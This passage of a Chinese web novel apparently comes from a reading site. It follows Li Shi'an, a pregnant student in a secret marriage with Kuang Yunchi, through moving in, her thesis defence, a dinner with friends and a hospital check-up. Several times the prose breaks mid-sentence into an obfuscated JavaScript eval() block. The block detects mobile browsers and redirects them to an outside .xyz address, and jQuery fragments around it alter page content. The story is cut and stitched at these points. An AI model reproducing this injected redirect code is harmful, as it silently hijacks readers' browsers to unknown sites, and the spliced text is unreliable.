程菀低声埋怨,“加个菜怎么了?大不了我自己掏钱。”她转而对服务员说道,“这样吧,来一份蒸五谷杂粮。” 已经有其他客人阴阳怪气开玩笑了,“下回吃饭,干脆先把菜单发给你得了。” 张姨笑道,“没事没事,满足十安妹妹。” 李十安耳朵红了。早知道这个饭局是这个样子,她说什么也不来了。 *** 饭后,李十安要回学校开个简短的会议。碰上程菀单位临时有时,也需要去一趟。学校和单位在两个不同的方向。 李十安提议,“我坐地铁回学校吧,楼下就是地铁站。” 程菀否决,“我送你,我那边不着急。” 按程菀的意思,李十安现在情况特殊,不能乘坐公共交通工具,拥挤,不安全。所以现在出行,全部由程菀开车接送。 全天候二十四小时被照顾,或者说被监视。 车上,程菀叮嘱李十安,“你给你们导师说,你现在是特殊情况,就别再安排你进实验室了。再给你配几个研一研二的小助手,配培养基那些杂活就交给他们干。” 李十安有些惊讶,“不是说我们隐婚吗?不对外公开吗?” “你只告诉你导师一个人不就行了。” 李十安沉默了一阵,神情恍惚。 程菀再次强调,“别忘了给导师说。” “喔……”李十安闷闷不乐。 给导师说,我情况特殊,所有人都要让着我。这种话怎么说得出口。 *** 那晚是十一点到家的。李十安说她累,躺在沙发上歇息。程菀倒是有精神,先去浴室洗澡洗漱。李赟在书房加班,自顾自忙碌。 暂时是一个无人监管的状态。可以悄悄看会儿电视。 李十安看的是脱口秀,讲楼兰美女和干尸二号,逗得李十安笑得肚子颤。 “啪嗒——” 电视毫无防备地被关掉,李十安甚至有些懵。 “去睡觉,熬夜对宝宝不好。”程菀厉声道,“养成好的作息,保证身体健康。” “喔……”李十安应道。身体健康,那心理呢?一颗心被踩踏褶皱。 回到房间,躲进被窝里。李十安偷偷拿出手机,想给况允驰发消息。还没编辑完字,听见门外有响动。李十安敏捷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李十安有几次想要进入厨房帮忙,都被程菀赶了出来,“你不许进厨房。”李十安只好悻悻地走出厨房。其实目的当然并不是真的去帮忙。李十安没走远,就在厨房附近。有时装作擦桌子,有时打开水果盒又合上。找借口徘徊,偷听他们说话,心里止不住地好奇,甚至有一些紧张。 开水声音、热水器燃烧声音、抽油烟机的声音,混合响动,淹没他们的谈话声。根本听不清。有什么是她不能听的。李十安闷闷不乐,握着一只青芒,指腹摁压,把硬的地方压软。 况允驰是什么时候走到身后的,李十安都没注意。 “十安。” 李十安正要回头,况允驰弯腰,靠近她的耳边。 突然拉进的距离。 他的声音很低。 “收拾行李,阿姨那边我负责。” 20. 银耳 搬家很顺利,甚至程菀也参与其中。 程菀问,“衣服不用全都带吧?先带几件,不够再回家来拿。” 李十安答,“嗯。” “正好穿脏了拿回家洗。” “妈,人家有洗衣机的。” “也是。那吃的带一点。” “那边也有吃的。” …… 一种要出远门的感觉。其实两家之间的距离,开车也就二十几分钟。 况允驰开车载李十安,程菀单独开车跟在后。 透过后视镜看见程菀的车,李十安心里实在好奇,问况允驰,“你是怎么说服我妈的?”进展太顺利了,感觉像做梦。 况允驰应道,“我只是铺垫,关键是我妈。” 是付雯娜连着几天跟程菀做深入交流,就为了说通这事。 “知道你放不下十安,但也不能太放不下吧。” “小夫妻刚结婚就分居,怪残忍的。” “影响感情,后面日子怎么办?” “他们知道怎么过他们的生活,我们别插手太多。” 当然交流过程中,两个人肯定会拌嘴,这是常态。不过拌嘴之后,程菀或多或少会考虑付雯娜的建议。 于是松了口。同意李十安搬去况允驰家。 *** 到家时,付雯娜也恰好赶来了。程菀正把行李箱推到卧室门外,看见付雯娜,问了一句,“不是说今天有事么。” 付雯娜回一句,“再有事不也得赶过来么。” 两人说话语气倒挺像。 他们一道收拾行李。每收拾一件,程菀就要对况允驰叮嘱一句。 “睡衣要给她穿纯棉的。” “好。” “每天早上给她煮鸡蛋。” “好。” “水果要吃,山楂不吃。” “好。” “冰的不能吃,吃任何东西之前,都给她加热。” “好。” “我把她的菜单发给你。” “好。” 一来一回的对话,没有尽头那般。付雯娜听不下去,说了这么多,不知道况允驰能不能记住,反正她是完全记不住。她插嘴道,“好啦,我儿子你用不着操心。”一种赶客的架势。付雯娜推着程菀走去客厅,远离现场。 没了唠叨,一下子倒变得清净了。 李十安握着水杯,悄悄往旁边挪,凑近况允驰,“我妈说的那些,你记得住吗?” 况允驰点头,“记得住,一字不差。” *** 况允驰记得最清楚的是菜单。按照菜单内容,他去菜市场买新鲜菜。是每日不变的固定流程。 那天,李十安在实验室养细菌。这段时间是跟细菌杠上了。她一直弄到下午六点,终于走出实验室。 况允驰正巧打来电话,“我马上来接你。” 李十安知道况允驰是不顺路的。况允驰今天去月照区出差,开一整天的会。从月照区赶到学校再回家,得走三环路,绕半个城市。没必要。 “我打车,已经坐在车上了。”李十安搪塞,“你直接回家吧。”那时实际正要开始打车。 正是下班高峰期,打车的每一个步骤都过于拥挤。打车软件拥挤,排队排到三十六位,等了二十分钟。呼叫拥挤,雷达图标响应半晌,才终于有师傅接单。道路拥挤,碰上红灯太多,缓慢挪过一条街,就得等待长达两分钟的红灯。在路上耽搁,过了好些时候。李十安拿出手机看时间,已经快要七点半了。 况允驰发微信询问:[到家了吗?] 李十安:[没呢,堵车。] 轿车右转,进入小巷。丁字路口处,是菜市场的入口。透过车窗,李十安看到了况允驰。 他正站在菜摊前,稍弯腰,对比挑选。一种是颗粒青花椒,舀一小捧来闻闻味道。一种是带枝青花椒,挑一串来看看成色。 由于开会的关系,况允驰穿的是西装。深灰色西装,西服微微敞开,双腿笔直修长。见惯了他穿宽松工装风格的衣服,头一回见他穿西装,感觉换了个人。像是白日里在公司上班的精英,下班后变成了顺带去菜市场买菜给爱人做饭的人夫。 可不就是这样么。他买菜,做饭给她吃。 买完青花椒,况允驰拎着袋子,往菜市场里头走去。 李十安侧身对司机说话,“师傅,我就在前面路边下车。” 一棵槐树下,在人少的地方,李十安小心下车。她穿过街道,穿过繁忙的人群,径直向况允驰走去。她轻拍他的肩膀,“况。” 一个骑自行车的老头蜿蜒驶过,门铃被摁得清脆响。况允驰伸出手臂,轻轻把李十安挡在身后。 “这里人太多。”况允驰让李十安站得更靠里一些,“你怎么来了?” 李十安笑着。 “来找你一起回家。” *** 回家,吃过晚饭,李十安觉得困得很。时间还早,才九点半,但眼皮沉重,总想睡觉。 她本来是在书房里为论文做最后的挣扎。有一条盲审意见不知道该怎么修改,导师的意思是可改可不改——又说尽量改,最好多看文献,多从别人的优秀的作品中找灵感,给自己的毕业论文作最后的润色,完成最后的要求。 与此同时,李十安还要做完答辩PPT,得发给程菀先过目,初改。 李十安看英文,看了一阵,感觉字母连成一道道波浪线。换作看中文,看了一阵,单个字都认识,连在一起完全不知道是什么意思。 知识它就是死活不进脑子。 论文第十稿和PPT的交稿日期,只剩最后一天了,再不加班就真的来不及了,李十安深呼吸,闭眼小憩,期望一睁开眼睛,立即精神抖擞。 小憩到半途,感觉有人慢慢走近。 “回房间睡觉,我替你改论文。”况允驰声音很轻。 李十安迷迷糊糊睁开眼,只能睁开一半。况允驰搀扶李十安站起来,带回卧室,让李十安躺到床上。还是床舒服。 况允驰动作轻盈。盖被子,充手机电,往恒温壶里加满纯水,关灯,关门。一切准备就绪,营造入睡的绝妙氛围。 李十安心满意足地闭上眼睛。 五分钟后。睁开眼睛。头脑是异常的清醒。 有趣。学习的时候,困成那副模样,坐着也摇摇欲坠。真到睡觉的时候,却忽然变得怎么也睡不着。 越睡越精神。直至睡意完全消失。 李十安左侧躺,腿搭在被子上。睡一会儿,不舒服。变为平躺,摆一个标准的大字。睡一会儿,仍然不舒服。变为右侧躺,努力睡觉,可努力白费。 那咋办,到底是睡觉还是起床改论文。 焦虑。一边焦虑身体,一边焦虑学业。 况允驰不是说要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14474250|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮忙么,就让他改。他可是生物博士,手握那么多篇核心,随便挑几篇SCI来送给她,一作,共一也行。嚯,那样的话,学校岂不是得求着她毕业。还改什么论文九稿十稿,还写什么PPT这种脏东西。 呼—— 有个博士老公真好。一身轻松。 这样想着,方才的焦虑烟消云散,李十安又一次心满意足地闭上眼睛。深吸一口气,慢慢吐出,胸腔欺负,循环往复。眉头微皱。 不知过了多久。 李十安双臂往外推,一把掀开被子,坐起来。 不行。不能做学术不端的人。 虽然那是一篇学术垃圾,但好歹也是自己亲手制造的作品,必须对它负责。 李十安利索地爬下床,穿好鞋。目标是回书房,继续看文献改论文写PPT。 要靠自己的力量。 “你改了吗?我要自己来。”李十安风风火火,赶走况允驰,坐回椅子。 况允驰端来另一条独凳,坐在李十安身边,“我陪你改。” “不用。” 李十安说了不用,但况允驰没有要离开的意思。 被他现场盯着论文看,倒忽然有种羞耻的感觉。心里一个声音在呐喊,“不要看我的学术垃圾!”李十安拘束难熬,犹豫片刻,开口赶客,“你这样……我不方便。” “嗯?” “你走吧,不然我不自在。” 她推了况允驰一把。力道很轻,但况允驰明白了她的意思。确实也怕他继续待下去会影响到她,适得其反。 “我在外面,有事叫我。”况允驰放好凳子,走出房间,做出关门动作。虚掩着门,留有一道缝隙,以便她随时能抬头就看见他。他安静坐在沙发上,远距离陪伴。 李十安点击鼠标,想了想,调出了况允驰的期刊。之前断断续续看过一些,这次是完整系统地浏览一遍。确实够专业。她看得专注。 窗外霓虹变了颜色,绚丽色彩和漫天繁星遥相呼应。 不知不觉快到十二点。 李十安看得眼睛花,眨眼休息,伸懒腰。放空的间隙,她顺手拿起了手机。习惯性随便刷一下朋友圈。看见一个朋友发的照片,红枣银耳汤,鲜嫩多汁,晶莹剔透。一看便叫人产生食欲。此刻要是能喝上一碗热乎乎的银耳汤,想想挺不错。 李十安吸溜一下。 继续往下刷。 看见况允驰的朋友圈,没有文案,简单粗暴地转发一条链接,是景和生物的工厂博物馆介绍。 李十安第一时间没有点开链接,而是在下面评论:[我想喝银耳汤。] 况允驰很快回复:[马上。] 透过缝隙,看见沙发上的人起身,去了厨房。 李十安这才点开链接,开始欣赏景和生物的工厂博物馆。把上世纪的集团工厂改为集团博物馆,极具创意,同时承载历史。 有时间的话,让他带她去逛逛。 李十安往下滑动页面。红砖墙,手写标语,废弃排球场,职工食堂,还能用的水房,每一张图片都充满故事。 欣赏得正起劲,许书妍的微信消息接二连三传来。先是一张截图,是况允驰的朋友圈工作内容转发页面,以及下面李十安留下的突兀的毫不相干的评论,甚至还有况允驰的罕见的回复。 许书妍质问。 [你们……] [什么情况?] 21. 陶瓷 要不要向许书妍说结婚的事,李十安也曾犹豫过。可初二那天,李十安当时答应过长辈们的,隐婚,这事不往外宣传。但是……李十安和许书妍又是最好的朋友,一直以来无话不谈,都已经形成了一种习惯。 许书妍的所有感情经历,包括谈了几个男友,叫什么名字,做什么工作,什么时候开始,什么时候结束,中间有过哪些过程,李十安全部知道,一清二楚。 李十安之前一直没有感情经历,所以在这方面也没什么可对许书妍说的。然而李十安现在正在经历的这段关系,虽说谈不上感情,但是好歹是结婚,仔细想起来,这个消息似乎比单纯的谈恋爱更加劲爆。 按道理来说,李十安应该向许书妍说的。好朋友之间,就是应该情报交换。况且,这事已经露出马脚了,迟早会被许书妍发现。 犹豫许久,李十安终于下定决定,拨通了电话。她在电话里,把事情的来龙去脉全部告诉了许书妍。 *** 许书妍攒了一个饭局。这本来是她欠周森的一顿饭,不过想着借这个机会,索性把其他朋友也一道请了,省事,大家聚在一起也更热闹,更好玩。 饭局约在江畔路的一个私房餐厅,小包间。约的六点。李十安因为等导师开会,耽搁了一些时间。到的时候,是六点半。其他人已经先到了。 李十安踏进包间,瞬时响起了欢呼声,以及些许掌声。 “恭喜恭喜!” “新婚快乐!” 李十安懵了,愣在原地。 况允驰随后踏进包间。房间内的欢呼声更上一层。 “男主来了。” “看不出来,你小子速度够快的啊。” 李十安终于回神,明白了现场的情况。 他们全都知道她和况允驰结婚了。 刚才两人一齐到楼下,还绞尽脑汁分开行动,一前一后,就为了避嫌。这么费力,搞半天原来他们全都知道了。 肯定是许书妍说的。昨天晚上给许书妍说来龙去脉时,李十安光顾着说清楚过程,忘了最重要的事——保密。 李十安慌了,忙提醒道,“我们是隐婚!” 欢呼声戛然而止。 隐婚,熟悉又陌生的词,听的人都得反应一阵。最后几乎是同一时间反应过来。 许书妍警告在场的人,“今天的事,谁要是敢说出去,谁就……”边说边做出抹脖子的动作。 幸好在场的人不多,只有周森、高西、时星楠。 时星楠嘀咕,“早知道这顿饭就不来了。” 高西思索,“保密我是没问题的,就是不知道周森……” 周森莫名向况允驰撒娇,“允驰!” 话音未落,许书妍一巴掌拍到周森肩膀上,“你恶不恶心!” 他们笑了起来。这一折腾,气氛终于和缓了一些。 李十安有些不好意思,为了自己的私事,搞出这么大动静。正想道歉,况允驰先开口。 “这事拜托大家了。” 完全不像况允驰的说话风格。过于客气了。 时星楠不自在,“听不惯你说这种话。” 高西笑道,“还是喜欢你傲娇高冷的样子。” 周森上下观摩,“结婚还能把人结温柔了。” 许书妍向周森开玩笑,“你结婚估计得把人结傻,已经够傻的了。” “不会说话可以选择闭嘴。” “就不。” 一来一回,吵闹不休。起初是为了结婚这个话题吵,到后来变成什么都吵,一团乱战。不知不觉略过了结婚这个话题。 做旧米色陶瓷花瓶里,黄色腊梅顺着藤条向上攀岩,寂静却又热烈。 时星楠问了况允驰一句,“令妻毕业后也是来我们公司上班?” 高西翻白眼,“请你像个正常人说话。” 李十安笑了下,解释,“嗯,已经签了三方。” 景和生物这几年不好进,招聘要求最低硕士,清北硕士一堆,甚至不乏博士。竞争激烈,名额有限。李十安能进,不是能力突出,就是人脉突出。 周森学时星楠说话,问况允驰,“令妻进公司的时候,是不是打了招呼?” 况允驰否认,“一点没打,她自己有本事。” 其实是准备打招呼的,找了纪总,还打算找到方总那里去。结果还没说上话,方总已经告知了结果。 “我知道这个女孩,她导师亲荐的,很不错,要了。” 不愧是她。 看起来天天只知道和程菀打游击战,梦想是随便吃东西、睡到自然醒,每天都是一种看似半死不活的状态,实际学业上是一点不含糊。 签三方的事情,许书妍早就知道。她问李十安,“进公司的具体时间定了吗?” “按理来讲是毕业后就进公司,”李十安说,“但碰到公司改革重组,需要延后了。” 景和生物为了顺应时代形势,决定做出重大调整,改革重组。保留景和生物总部,新设立成立景和制药、景和检验、景和器械三个子公司。 原公司的人,可以自主选择去哪个公司。况允驰选择去景和制药。 李十安他们这一批即将进公司的人,可以提前选择去哪个公司。 高西问,“十安准备去哪里?” 周森答,“肯定制药呗,跟允驰一起。” 时星楠评价,“夫妻在同一个公司,不见得是好事。” 一人一句,讨论热烈,李十安插不上嘴。 许书妍一把挽住李十安的胳膊,“十安跟我走,去检验。” 李十安应道,“嗯,我去检验。” 去哪个公司,征求的是导师的意见,进行一个综合评定,给出去景和检验的建议。最了解李十安能力的人,是导师。 巧合的是,况允驰也给出了同样的建议,“那边更适合你。” 专业的人这样说,内部的人也这样说,看来是没错的。 “签约的时候,已经填了景和检验的意向。”李十安解释。她喝了一口柠檬水。况允驰挑一个蒜蓉扇贝,放到小碟里,递给李十安。 高西瞄一眼况允驰况允驰。之前确实感觉到况允驰的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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况允驰那时已经拿着包下楼,走到她们身后。想着不方便打扰她们聊天,所以没有发出声响。但听到她们的聊天内容是他自己时,他试图出声提醒,表示他能听到她们的谈话。 “咳——” 声音发出来了,但前面两人根本没在意。她们还在继续沉浸在聊天里。 许书妍示意李十安,“诶,那边。” 那边车辆是停放在路边的。车位少,车太多,总会有乱停乱放的人。时星楠的车被人完全遮挡,出不来。他正给车主打电话。站在车旁,身材修长,身影薄而结实。寸头,俊朗,一种痞帅的吸引人的气质。 许书妍小声嘀咕,“这种类型看起来,真挺好看哈?” 李十安一时没回应,盯着那边又看了一阵。 许书妍问道,“怎么样?” 李十安笑了下,“确实好看。”她的眼神仍然停留在那边。 况允驰顺着李十安的目光,看了过去。 原来喜欢寸头是么。 22. 夏日 最近这段时间,李十安很少去学校,多数时候都是在家里。况允驰照常上班,不过回家的时间点都很准时,有时甚至提前。 本来这样的生活过得规律。直到有一天,况允驰回家时,外形有了改变。 剪了寸头。 人一旦换了发型,整个气质都会有所变化。 李十安没看习惯。况允驰进门、换鞋、走去厨房,李十安的目光一直放在况允驰身上。 况允驰放下装满菜的袋子,“怎么?” 李十安指了下,“你的头发……” “嗯?” “怎么忽然剪了?” “剪了凉快。”况允驰拿出袋子里的嫩牛肉,放到砧板上。他瞄一眼李十安,“不好看?” “没有,好看的。” 这张脸配什么发型都不可能不好看。 “只是……”李十安思考着该怎么形容,“感觉适配度不是那么地高,不是那么地适合你……感觉还是之前的那种更适合。” 就像十七岁的柏原崇剪寸头,肯定也好看,但也肯定没有微分碎盖那么好看。 况允驰若无其事地把嫩牛肉切成薄片,放进盘里。他问,“吃青椒牛肉?” 李十安回应,“好。” 之后便没再继续交谈。况允驰专心做菜,李十安偶尔帮忙。各司其职。 隐约感觉到他有一些不对劲。但李十安只是当时注意了一下,后来就忘了这事。 *** 第二天回家时,况允驰的外形又有一点变化。 他戴了顶黑色渔夫帽。 李十安能猜测到,应该是为了遮住他的寸头。难道因为她昨天随口说了一句不合适?她想要解释,她昨天的意思,不是说他寸头不好看,根本用不着遮住。真的是好看的,只是没有微分碎盖那么好看。本质是好看与更好看的比较。 该怎么表达才恰当呢? 李十安坐在沙发上,回头。况允驰在玄关处换鞋。 透过玻璃柜门看见他的身影。工装裤,宽松圆领卫衣,黑色渔夫帽,其实这身装扮特别好看。 李十安抱着抱枕。好看这种话,也不好意思当面对他说出口。 况允驰习惯性进厨房。李十安走过去,靠在岛台旁。 他往锅里加水,点燃灶台。他问,“今天吃豆瓣鱼?” 李十安回应,“好。” 他在砧板上处理鱼,她把豆瓣酱搬出来放在一旁。 仍然戴着渔夫帽。 李十安无意间问了一句,“进厨房也戴着帽子?”意识里,出门在外才会戴帽子,一到家就该脱掉。 况允驰回应,“嗯。” 李十安又问,“什么时候脱掉?” “等头发长长。”况允驰打开冰箱,白光映照他的脸。没有表情,显得冷淡。虽然平时就是这个样子,但不知道是不是幻觉,今天似乎更冷了一些。 可能是还在为寸头的事闷闷不乐。 李十安识趣地闭嘴,没有再说话。 心里嘀咕。 真是个娇气的小男生,连句实话都说不得。 *** 况允驰戴了好久的帽子。有时是渔夫帽,有时是鸭舌帽。早上从房间里出来,就已经戴上了。晚上直到回房间之前,也是戴着的。 可能只有洗澡和睡觉的时候才不戴。 *** 到了毕业答辩那天,李十安难免会紧张。一间教室,五六个导师,同组答辩以及些许旁听的同学。 坐在台下,看别人答辩,李十安已经足够心惊胆战了。亲自站上讲台,看见台下的人,李十安更加心惊胆战。 几个导师低头看论文,几个导师抬头看李十安。 李十安一个眼神也没敢对上。虽然面带微笑,眼睛正视前方,实际根本没有焦点,眼前是朦胧的一片。 硬着头皮答辩。紧张,但好在声音没有颤抖,吐字清晰,表述没有卡顿,也算是顺利完成了。 到这一步才有了一些放松。 准备开始回答导师的提问,抬头时,李十安偶然看见了台下的场景。最后一排,靠窗,一个旁听的男生。微分碎盖,戴黑色口罩,只露出一双眼睛。剑眉星目。 李十安只瞥了一眼,快速略过的景象,没能看得清晰。她随即收回视线,强迫自己集中注意力。现在是正经答辩的关键时刻,不是偷看帅哥的场合。 但在那一刻,心跳确实漏了一拍。 完成答辩,走回台下座位,一段短暂的路途。李十安想要再看一眼最后一排靠窗的位置,都已经稍微侧头了,最终还是没有勇气,只用余光瞄了一下。 十七岁的少年的模样。 夏日蝉鸣的悸动。 李十安坐在座位上,心跳很快。脑海里不断回放刚才的一瞬而过的画面。终于忍不住,回头。那男生不知什么时候已经站起来,安静地走过后排。李十安看见时,他正好走出教室。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14489298|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 是要离开了么。 答辩助理开始推进流程。整组答辩已结束,到了导师关门商议的阶段,教室被清场,所有人都离开了现场。 李十安坐在墙边长凳上,安静等待。 走廊尽头,楼梯转角处,那个男生的身影又一次出现了。他从楼上走下来,又往楼下走去。匆匆出现的身影,只能够看到一个修长的侧面。 一瞬亦足够让人心慌。李十安怔怔看着那边,一时回不过神。从没有过这样的感受。 是心动吗? 李十安拿出手机,在浏览器中搜寻:[结婚后遇到心动的人怎么办]。摁下搜索键之前,停顿一刻,最终删掉了文字。 这哪是心动,她分明是看人家长得好看而已。 十分钟后,结果宣布。 答辩顺利通过,整个流程终于结束。 李十安走出教室,走下教学楼。楼前小路,银杏树下,一个男生抱着花束,低头玩手机,似乎正在等人。 是他。刚才教室里的那个男生。 心跳不受控制地又一次快起来。 李十安鼓足勇气,向他走了过去。 慢慢靠近。 还剩两米的距离,她停下脚步,轻轻叫了一声。 “况。” 况允驰回头。 李十安笑了,“真的是你。” 况允驰把花束递给李十安,“祝贺。” 很漂亮的花束,卡布奇诺玫瑰,卡其色的褶皱的花纸,香槟丝带。 李十安把花束抱在怀里,“没上班?” “请了半天。” 李十安嘀咕,“还是请了假。” 况允驰之前就准备请假,陪李十安完成答辩。李十安当时拒绝了他。比起声势浩大的场面,李十安更愿意独自一人,默默完成毕业答辩,这样更加轻松自在。 李十安问,“怎么没早点告诉我你来了?” 况允驰走在外,让李十安走在里头,“怕影响你。” 李十安偷看一眼况允驰的侧脸。确实差点影响了,只出现那么一瞬间,就已经兵荒马乱。 现在心跳已经平复了,但心里仍然萦绕着方才那种感觉,酸,夏日橘子汁。 真奇妙,心动的人竟然是她的结婚搭子。 况允驰提醒李十安,“明天上午产检。” “喔……好。”李十安回应着。 这下更奇妙了,他竟然还是小孩的爸爸。 23. 可乐 今天不知怎么了,检查室门口站了好些人,都在排队等待叫号,过于热闹。 李十安和况允驰并排靠墙坐着,坐了好些时候。因为廊道里人多,空气不好,沉闷,甚至有些许的臭烘烘的气味。李十安不是很能适应,侧头,轻微地呼吸,避免吸入更多的难闻的气味。 况允驰问,“出去走走?” 李十安点头,“嗯。” 况允驰陪着李十安一起,开始在医院走廊上漫步,打算等半个小时后再来看看情况。 李十安没怎么吃早饭,今天的胃口不大好。之前觉得无所谓,没什么感觉。现在倒是有一点饿了。她向况允驰伸出手,“我想吃面包。” 况允驰递给李十安一盒肉松面包。 肉松含量丰富,李十安咬一口,一些肉松馅掉到地上。况允驰抽纸,递给李十安。李十安擦干净嘴角,况允驰自然地接过被李十安揉成一团的纸巾,再顺便捡起地上洒落的肉松,用纸包裹住,扔进垃圾桶。 “喝水吗?”况允驰拿出保温杯,“温水。” 李十安不好意思地笑了下,“我想喝可乐。”知道况允驰不会拒绝她。 “行。” 况允驰去了楼下超市。李十安回到检查室门口,靠墙坐着,继续等待。 周围有很多孕妇,以及陪伴的家属。 一个短发孕妇走来,问她老公,“上次的检查单呢?” 男人正在打游戏,眼睛紧紧盯着屏幕,没有回话。 孕妇音量提高一度,“上次的检查单!” 男人侧头,但眼光仍然放在手机屏幕上,“什么检查单?” “上一次的检查单!你是听不懂人话吗?”孕妇忍无可忍,“我十分钟前就跟你发了消息,让你准备好!医生要看!” 男人才终于暂停游戏,“哦……我没看手机。” “你这不是一直在看手机吗???”情绪激动,愤怒到似乎喘不过气。孕妇红了眼,一掌拍掉男人的手机,大步向外走去。嘴里仍在念叨,“不知道你到底有什么用!” 男人慢慢捡起手机,跟了出去。 走廊里回响着烦躁的脚步声音。李十安向走廊尽头看了一眼。 人多了起来。有的在检查室外等待,有的在走廊上徘徊。位置上全坐满了人,不够坐,甚至有四个人挤三张连椅的画面。 一个胖胖的男人坐着玩手机,一个扎低马尾的孕妇站在他身边。两个人的肚子差不多一样大,鼓得撑圆了。当然一个装的是赘肉,一个装的是胎儿。孕妇看起来有些吃力,不时用手撑着腰。 男人口渴了,头也没抬,吩咐一句,“水。” 孕妇从随身背着的白色帆布包里,取出一瓶矿泉水,递给男人。 男人喝完水,举着瓶子。没拧盖子,孕妇自然地拿过来,拧上,装回包里。 隔了一阵,男人又吩咐一句,“纸。” 孕妇从包里拿出纸巾,递给男人。男人擤了鼻涕,纸巾揉成一团,还给孕妇。孕妇接过纸巾,步伐沉重地走到一旁垃圾桶,扔了纸巾。 路过身边时,李十安站了起来,“你坐吧。” 孕妇先是拒绝,“不用不用。” 李十安已经完全让出了位置,“我不坐的,有事出去一趟。”其实是嫌里头闷。人太多的缘故,空气混浊,堵在胸腔犯恶心。 走廊出口,一个穿格子裙的孕妇正在扫描二维码,准备付款。她的大儿子攀上她的手臂,像攀树枝,要抢她的手机玩。 “走开啊!”孕妇的声音里有抑制不住的怒气。 小孩不懂察言观色,叛逆心作祟,变本加厉地往孕妇身上攀爬。 一怒之下,孕妇大力甩开小孩。小孩摔倒在地,滚了半圈,紧紧抱住孕妇的小腿。孕妇想走,拖着小孩走不动半步。肚子似乎有些痛了,孕妇稍弯腰,捂住腹部。 左右乱成一锅粥。 旁人帮忙拉起小孩,“他爸呢?” 孕妇咒骂,“跟死了没两样!” 声音太大,震耳欲聋。李十安莫名心乱,绕开走远一些,走到宽阔的大厅。 怎么回事,怎么感觉今天的每个人都在发疯的边缘。 李十安有一种被压得喘不过气的感觉。 况允驰来了,一路来到她身边。 好像溺水的人被人拽上水面,吸一口新鲜空气。李十安笑了下,“况!” 况允驰拧开可乐瓶盖,“常温的。” 李十安仰头喝一口。特别满足。 一对五十出头的中年夫妻从身旁路过,看模样是某个小朋友的爷爷奶奶。他们见李十安喝可乐,忍不住停下来,说了几句。 “孕妇不能喝可乐。” “对宝宝不好。” 都没轮到李十安反驳,况允驰已经主动作了解释,“喝得少,不碍事。” 中年夫妻皱紧眉头。 “你怎么知道喝得少?最好就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14493933|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口不喝。” “当妈妈的人,不能只贪图自己快乐,不顾及宝宝的健康。” 况允驰回复,“妈妈的快乐也很重要。” 中年夫妻撇嘴。估计是觉得跟这个年轻人交流困难,怎么也说不通。 “幸好你儿不这样。” “是呐。咱儿要这样,得气出心脏病。” 他们是边走边嘀咕的,声音小,但仍足够听清。 李十安开玩笑,“被批判了。” 况允驰应道,“批判回去,我超能说。” 其实他并不是一个能说的人,不擅长与人辩论,也不屑与人辩论,觉得别人的言论并不重要。可是涉及到她被陌生人评判,这道防线无论如何都得建立起来。 广播里标准的声音响起,“请37号到2号诊室就诊,请38号到诊室门口等待。”李十安往广播的方向看去,才发现他们不知不觉竟走到了呼吸内科的附近,越走越远。她拿出手机看时间,已经过了半个多小时。也不知现在检查室排到她的轮次没。 “是不是快该我了?”李十安提议,“要不回楼上等着吧。” “楼上闷。” 况允驰四处查看,找到一个靠近窗户的长条座椅,连着有三个坐凳。最左边的位置被人占据,中间的位置被那人放了一个大的背包,只剩下最右边的位置。况允驰带李十安去了那唯一的空位上,“等我。” 他动作快,腿又长,在扶梯上一步跨两级台阶,很快消失在扶梯尽头。 李十安耐心等待着。本来是想玩手机的,发现手机只剩下百分之五的电,怪可怜,随之而来是一种即将和世界失联的担忧。 等了五分钟不到,况允驰回来了,回到李十安身边。“前面还有六个人。”况允驰把一个白色的充电宝递给李十安,“喏。” 李十安有些欣喜,给手机插上电,看见充电的闪电标志,觉得心安。 他在身边,她觉得心安。 最左边的那人没有要走的意思,也没有挪开背包的意思。于是只能李十安坐着,况允驰站着。李十安过意不去,试图站起来,“你来坐吧。” 况允驰伸出手,摸了摸李十安的头,“你乖乖坐好。” 